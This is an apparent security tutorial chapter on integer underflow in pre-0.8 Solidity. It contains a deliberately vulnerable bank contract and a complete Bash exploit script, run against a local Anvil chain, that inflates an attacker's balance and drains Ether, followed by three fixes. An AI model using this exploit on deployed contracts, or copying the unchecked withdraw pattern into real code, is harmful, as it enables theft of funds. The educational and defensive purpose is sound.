Breaking the Bank: Exploiting Integer Underflow in Smart Contracts

13 min read

December 29, 2024

Web3 Exploitation Fundamentals: Navigating Security in Decentralized Systems
Breaking the Bank: Exploiting Integer Underflow in Smart Contracts

Table of contents

Introduction

Imagine walking into a bank with just a penny in your pocket and somehow walking out a billionaire due to a small glitch in their system. Sounds like the plot of a sci-fi movie, right? But in the world of smart contracts, vulnerabilities like integer underflow can make similar scenarios a possibility. While modern versions of Solidity (starting from 0.8.0) have largely addressed these issues, older contracts remain vulnerable, and understanding these risks is critical for anyone working in decentralized systems.

In this chapter, we’ll take a deep dive into how underflow attacks work. Using Anvil to create a controlled testing environment, we’ll explore the weaknesses of a contract called DecentralizedBank. Step by step, we’ll show how a simple flaw in its withdrawal logic can be exploited to turn a small deposit into a fortune—and ultimately drain the contract. Ready to uncover how this classic vulnerability unfolds? Let’s get started.

What is an Integer Overflow?

To understand this vulnerability, think of a clock with numbers from 1 to 12. If the time is 12 and you add one more hour, instead of reaching 13, it wraps back to 1. This “wrap-around” behavior is a great analogy for what happens during an integer overflow in programming.

In Solidity, integers have fixed limits. For example, a uint8 can store numbers between 0 and 255. If you try to add 1 to 255, instead of resulting in 256, the value “wraps around” to 0. This behavior can have serious implications, especially in financial applications where precision is critical.

Here’s an example in Solidity to demonstrate:

uint8 public counter = 255;

function increment() public {
    counter += 1; // Overflow occurs, and counter becomes 0.
}

Now imagine this happening in a bank. You request to withdraw $1,001, but their system can only count up to $1,000. Instead of rejecting your request, the system wraps around and gives you just $1—or, in the case of a savvy attacker, much more than intended.

When this occurs in smart contracts, it can lead to major problems:

  • Fake balances: Attackers might manipulate the system to believe they own far more than they actually do.
  • Broken rules: Constraints like “you can only withdraw what you’ve deposited” can be bypassed.
  • Excessive payouts: Contracts may accidentally reward users far beyond what’s reasonable.

Understanding this vulnerability is key to protecting your smart contracts. Now that we’ve broken down the concept, let’s dive into a practical example and see how this issue can be exploited.

Vulnerable Smart Contract

At first glance, the DecentralizedBank contract looks simple and functional. Users can deposit Ether, withdraw it later, and their balances are recorded in a public ledger. Straightforward, right? But hiding under this apparent simplicity is a critical vulnerability that can leave the contract wide open to exploitation.

Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// Contract for a decentralized bank
contract DecentralizedBank {
    // Mapping to store user deposits, linking an address to its balance
    mapping(address => uint256) public deposits;

    // Address of the contract owner (the account that deployed the contract)
    address public owner;

    // Event emitted when a user makes a deposit
    event DepositMade(address indexed user, uint256 amount);

    // Event emitted when a user makes a withdrawal
    event WithdrawalMade(address indexed user, uint256 amount);

    // Constructor to set the contract owner at the time of deployment
    constructor() public {
        owner = msg.sender; // The deployer's address is stored as the owner
    }

    // Function to allow users to deposit Ether into the contract
    function deposit() public payable {
        // Ensure the deposit amount is greater than zero
        require(msg.value > 0, "Deposit must be greater than 0");

        // Add the deposit amount to the user's balance
        deposits[msg.sender] += msg.value;

        // Emit a DepositMade event for tracking
        emit DepositMade(msg.sender, msg.value);
    }

    // Function to allow users to withdraw a specific amount of Ether
    function withdraw(uint256 amount) public {
        // Deduct the requested amount from the user's balance
        deposits[msg.sender] -= amount;

        // Transfer the requested amount to the user's address
        (bool sent, ) = msg.sender.call{value: amount}("");
        // Ensure the transfer was successful
        require(sent, "Withdrawal failed");

        // Emit a WithdrawalMade event for tracking
        emit WithdrawalMade(msg.sender, amount);
    }
}

The backbone of the contract is a mapping called deposits. This mapping connects each user’s Ethereum address to the amount of Ether they’ve deposited, making it easy to track balances:

mapping(address => uint256) public deposits;

The contract also includes an owner variable, which stores the address of the account that deployed the contract. This gives the owner specific administrative privileges:

address public owner;

constructor() public {
    owner = msg.sender;
}

The deposit function allows users to add funds to the contract. Marked as payable, it ensures that users can send Ether along with their transaction. It requires the deposit to be greater than zero, updates the user’s balance in the deposits mapping, and emits an event for transparency:

function deposit() public payable {
    require(msg.value > 0, "Deposit must be greater than 0");

    deposits[msg.sender] += msg.value;

    emit DepositMade(msg.sender, msg.value);
}

Everything seems fine so far, but the real trouble lies in the withdraw function. This function is supposed to let users withdraw Ether from their balance. However, there’s one major oversight—it doesn’t check whether the user’s balance is large enough to cover the withdrawal. Here’s the code:

function withdraw(uint256 amount) public {
    deposits[msg.sender] -= amount;

    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Withdrawal failed");

    emit WithdrawalMade(msg.sender, amount);
}

Finally, the contract logs every deposit and withdrawal through two events, DepositMade and WithdrawalMade. These events are useful for tracking transactions and debugging but don’t prevent the underlying vulnerability.

Exploiting the Vulnerability

Now that we understand the the DecentralizedBank contract, let’s explore how an attacker can exploit it step by step. At first glance, the withdraw function seems simple—it subtracts the requested amount from the user’s balance and transfers the Ether back to their wallet. However, as we’ve seen, the lack of a proper balance check opens the door to a devastating integer underflow attack.

Here’s how an attacker could exploit this vulnerability:

Make a Small Deposit

The attacker starts by depositing a tiny amount of Ether into the contract—just 1 wei, for example. This initializes their balance in the deposits mapping and allows them to interact with the withdraw function.

Trigger the Underflow

Next, the attacker calls the withdraw function, requesting more Ether than their balance can cover—let’s say 2 wei. When the contract tries to subtract 2 wei from their balance of 1 wei, the operation causes an integer underflow. Since unsigned integers like uint256 can’t go negative, the balance “wraps around” to the maximum possible value for a uint256: 2^256 - 1, which is an astronomically large number.

At this point, the attacker’s balance has been inflated to this massive value, far exceeding the total Ether held in the contract.

Drain the Contract

With their now-inflated balance, the attacker can withdraw any amount of Ether they choose. They might start with a large amount, such as 5 ETH, and continue making withdrawals until the contract’s funds are completely drained.

sequenceDiagram participant Attacker participant Contract participant Blockchain Attacker->>Contract: deposit(1 wei) Contract-->>Attacker: Balance updated to 1 wei Attacker->>Contract: withdraw(2 wei) Note right of Contract: Subtracts 2 wei from 1 wei<br>Integer underflow: Balance becomes 2^256 - 1 Contract-->>Attacker: 2 wei transferred Attacker->>Contract: withdraw(5 ETH) Note right of Contract: Contract attempts to send<br>funds to the attacker Contract-->>Attacker: 5 ETH transferred Contract->>Blockchain: Contract drained

The Exploit Script

Now that we’ve seen how the vulnerability works, let’s walk through how the exploit can be executed in practice. To simulate this attack, we’ll use a Bash script with tools like cast to interact with the contract in a controlled environment.

Exploit Script
#!/bin/bash

# Force numeric format to English (dot as the decimal separator)
export LC_NUMERIC="en_US.UTF-8"

# Configuration variables
RPC_URL="http://localhost:8545"
OWNER_PK="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
ATTACKER_PK="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"
CONTRACT_NAME="DecentralizedBank"
CONTRACT_PATH="src/DecentralizedBank.sol:$CONTRACT_NAME"

# Compile the contract
echo "Compiling the contract..."
forge build

# Deploy the contract
echo "Deploying the contract $CONTRACT_NAME..."
CONTRACT_ADDRESS=$(forge create $CONTRACT_PATH \
                             --rpc-url $RPC_URL \
                             --private-key $OWNER_PK | grep "Deployed to" | awk '{print $NF}')

if [ -z "$CONTRACT_ADDRESS" ]; then
    echo "Error: Failed to deploy the contract."
    exit 1
fi

echo "Contract successfully deployed at: $CONTRACT_ADDRESS"

# Owner deposits 10 ETH into the contract
echo "Owner depositing 10 ETH into the contract..."
cast send --rpc-url $RPC_URL \
          --private-key $OWNER_PK \
          --value 10ether \
          $CONTRACT_ADDRESS "deposit()"

# Attacker deposits 1 wei
echo "Attacker depositing 1 wei..."
cast send --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          --value 1wei \
          $CONTRACT_ADDRESS "deposit()"

# Check the attacker's deposit balance before the attack
echo "Checking attacker's deposit balance before the attack..."
ATTACKER_ADDRESS=$(cast wallet address --private-key $ATTACKER_PK)
attacker_balance_before=$(cast call --rpc-url $RPC_URL \
                 $CONTRACT_ADDRESS \
                 "deposits(address)(uint256)" $ATTACKER_ADDRESS)

if [ -z "$attacker_balance_before" ]; then
    echo "Error: Unable to retrieve attacker's deposit balance before the attack."
    exit 1
fi

echo "Attacker's deposit balance before the attack: $attacker_balance_before wei"

# Attacker attempts to withdraw 2 wei
echo "Attacker attempting to withdraw 2 wei (causing underflow)..."
cast send --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          $CONTRACT_ADDRESS "withdraw(uint256)" 2

# Check the attacker's deposit balance after underflow
echo "Checking attacker's deposit balance after underflow..."
attacker_balance_after=$(cast call --rpc-url $RPC_URL \
                 $CONTRACT_ADDRESS \
                 "deposits(address)(uint256)" $ATTACKER_ADDRESS)

if [ -z "$attacker_balance_after" ]; then
    echo "Error: Unable to retrieve attacker's deposit balance after underflow."
    exit 1
fi

echo "Attacker's deposit balance after underflow: $attacker_balance_after wei"


# Attacker withdraws a specific amount
echo "Attacker attempting to withdraw 5 eth..."
cast send --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          $CONTRACT_ADDRESS "withdraw(uint256)" 5000000000000000000

# Display the attacker's Ether balance after the withdrawal
echo "Checking attacker's Ether balance after the withdrawal..."
attacker_eth_balance=$(cast balance $ATTACKER_ADDRESS --rpc-url $RPC_URL)

# Convert balance from wei to ETH for readability
attacker_eth_balance_eth=$(awk "BEGIN {print $attacker_eth_balance / 10^18}")

echo "Attacker's Ether balance after withdrawal: $attacker_eth_balance_eth ETH"

The script begins by setting up the environment. It defines the RPC_URL to connect to the local blockchain environment (Anvil) and includes private keys for both the contract owner and the attacker:

RPC_URL="http://localhost:8545"
OWNER_PK="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
ATTACKER_PK="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"

Next, the DecentralizedBank contract is deployed using forge, and its address is stored for future interactions. This ensures we can reference the deployed contract throughout the script:

CONTRACT_ADDRESS=$(forge create $CONTRACT_PATH \
                             --rpc-url $RPC_URL \
                             --private-key $OWNER_PK | grep "Deployed to" | awk '{print $NF}')

This command compiles the contract and deploys it, capturing the deployed address for subsequent interactions. If deployment fails, the script gracefully exits to avoid further errors:

if [ -z "$CONTRACT_ADDRESS" ]; then
    echo "Error: Failed to deploy the contract."
    exit 1
fi

After deploying the contract, the owner funds it with 10 ETH. This step ensures the contract has sufficient funds for the exploit:

cast send --rpc-url $RPC_URL \
          --private-key $OWNER_PK \
          --value 10ether \
          $CONTRACT_ADDRESS "deposit()"

With the contract ready, the attacker makes a small deposit of 1 wei. This initializes their balance in the contract’s deposits mapping, setting the stage for the exploit:

cast send --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          --value 1wei \
          $CONTRACT_ADDRESS "deposit()"

Before proceeding with the attack, the script queries and prints the attacker’s balance to verify it reflects the initial deposit. This ensures the setup is accurate:

ATTACKER_ADDRESS=$(cast wallet address --private-key $ATTACKER_PK)
attacker_balance_before=$(cast call --rpc-url $RPC_URL \
                 $CONTRACT_ADDRESS \
                 "deposits(address)(uint256)" $ATTACKER_ADDRESS)

Now, the attacker triggers the vulnerability by attempting to withdraw 2 wei, which is more than their deposit. This withdrawal causes the integer underflow, inflating their balance to the maximum possible value for a uint256:

cast send --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          $CONTRACT_ADDRESS "withdraw(uint256)" 2

After the exploit, the script queries and prints the attacker’s inflated balance, confirming the vulnerability has been successfully triggered:

attacker_balance_after=$(cast call --rpc-url $RPC_URL \
                 $CONTRACT_ADDRESS \
                 "deposits(address)(uint256)" $ATTACKER_ADDRESS)

Finally, the attacker withdraws 5 ETH from the contract to demonstrate the exploit’s impact. The script also checks and prints the attacker’s total Ether balance after the withdrawal:

# Attacker withdraws a specific amount
echo "Attacker attempting to withdraw 5 eth..."
cast send --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          $CONTRACT_ADDRESS "withdraw(uint256)" 5000000000000000000

# Display the attacker's Ether balance after the withdrawal
echo "Checking attacker's Ether balance after the withdrawal..."
attacker_eth_balance=$(cast balance $ATTACKER_ADDRESS --rpc-url $RPC_URL)

# Convert balance from wei to ETH for readability
attacker_eth_balance_eth=$(awk "BEGIN {print $attacker_eth_balance / 10^18}")

echo "Attacker's Ether balance after withdrawal: $attacker_eth_balance_eth ETH"

Running the exploit

With the exploit script ready, it’s time to put everything into action. Using Anvil as our local blockchain testing environment, we simulate the interactions step by step, from deploying the contract to executing the attack.

Running Anvil

First, the script deploys the DecentralizedBank contract to Anvil. The deployment is confirmed, and the contract is assigned an address, which is stored for subsequent interactions. Once deployed, the contract owner funds it with 10 ETH, ensuring it has enough balance to handle the exploit. This initial funding lays the groundwork for the attacker to proceed.

Deploying the contract

Next, the attacker makes their move by depositing 1 wei into the contract. Although this is an insignificant amount, it’s a crucial step as it initializes their balance in the deposits mapping, allowing them to interact with the withdraw function. The script verifies the attacker’s balance after this deposit, confirming it reflects the 1 wei accurately.

Depositing 1 wei

The real exploit begins when the attacker attempts to withdraw 2 wei—more than their deposited balance. This triggers the integer underflow in the withdraw function, inflating the attacker’s balance to the maximum possible value for a uint256. The script retrieves and displays this new balance, which demonstrates the severity of the vulnerability.

Withdrawing 2 wei
Attack successful :)

Finally, the attacker withdraws 5 ETH from the contract to show the impact of the exploit. The script then checks and displays the attacker’s Ether balance, confirming the funds have been successfully transferred. This withdrawal illustrates how a small oversight in the contract’s logic can result in significant financial loss.

Final balance after the attack

Top 3 Solutions to Prevent Integer Underflow Vulnerabilities

Integer underflows can be devastating, but the good news is they’re entirely preventable with a few straightforward practices. Here are three effective ways to secure your smart contracts and keep them safe from these kinds of exploits.

The simplest and most reliable way to prevent underflows is to validate inputs before performing arithmetic operations. In the withdraw function, a quick check can block any attempt to withdraw more than the user’s current balance:

require(deposits[msg.sender] >= amount, "Insufficient balance");

This one-liner acts like a bouncer at the club, ensuring that no invalid operations sneak through. It’s easy to implement and should be a default habit for any developer working on financial systems.

Starting with Solidity 0.8.0, arithmetic errors like overflows and underflows automatically revert the transaction. This means you don’t need extra checks or libraries—modern Solidity versions have your back:

deposits[msg.sender] -= amount;

If the amount exceeds the user’s balance, the transaction fails before anything goes wrong. It’s like having an autopilot system that steps in when a pilot makes an error.

💡 Why struggle with extra tools when your language can handle it for you?

If you’re working with legacy contracts written in older versions of Solidity, the SafeMath library from OpenZeppelin is your best friend. It wraps arithmetic operations with checks to ensure they don’t cause underflows or overflows.

Here’s how it works:

using SafeMath for uint256;
deposits[msg.sender] = deposits[msg.sender].sub(amount);

SafeMath ensures the operation is valid, and if something goes wrong, the transaction is reverted. It’s like retrofitting an old car with modern safety features—backward-compatible and life-saving.

Conclusion

This chapter exposed the devastating consequences of a simple oversight in smart contract logic. The DecentralizedBank contract, while functional at first glance, contained a vulnerability that allowed a complete compromise: an integer underflow that enabled an attacker to drain all funds with ease.

For those analyzing smart contracts, this highlights the importance of identifying and exploiting weak points in arithmetic operations. A missing balance validation became the entry point for a catastrophic exploit, proving that even small errors can have significant consequences when combined with the immutable nature of blockchain technology.

Modern tools and techniques make such vulnerabilities both preventable and exploitable. Solidity versions 0.8.0+ automatically handle overflows and underflows, making these issues rare in newer deployments. However, older contracts and legacy systems remain vulnerable, creating opportunities for those who understand these risks. Understanding the behavior of unsigned integers, poorly validated user inputs, and unsafe arithmetic is key to uncovering exploitable logic.

Controlled environments like Anvil allow for safe experimentation and verification of vulnerabilities before testing them in real-world contexts. The ability to simulate attacks, manipulate contract states, and observe outcomes without consequences is invaluable for fine-tuning techniques and strategies.

This case study also underscores the power of small, precise actions. Exploiting the contract started with a minimal deposit and escalated into a complete takeover. Success lies in attention to detail and a thorough understanding of smart contract mechanics.

The takeaways are clear: understand the system, target its weakest points, and leverage vulnerabilities efficiently. Mastering these techniques enables both the identification and execution of attacks, as well as the ability to protect against them in the future. Let’s continue refining these skills to stay ahead in the evolving world of blockchain security.

References

Chapters

Botón Anterior
From Front-Running to Sandwich Attacks: An Advanced Look at MEV Exploits

Previous chapter

Secrets in the Open: Unpacking Solidity Storage Vulnerabilities

Next chapter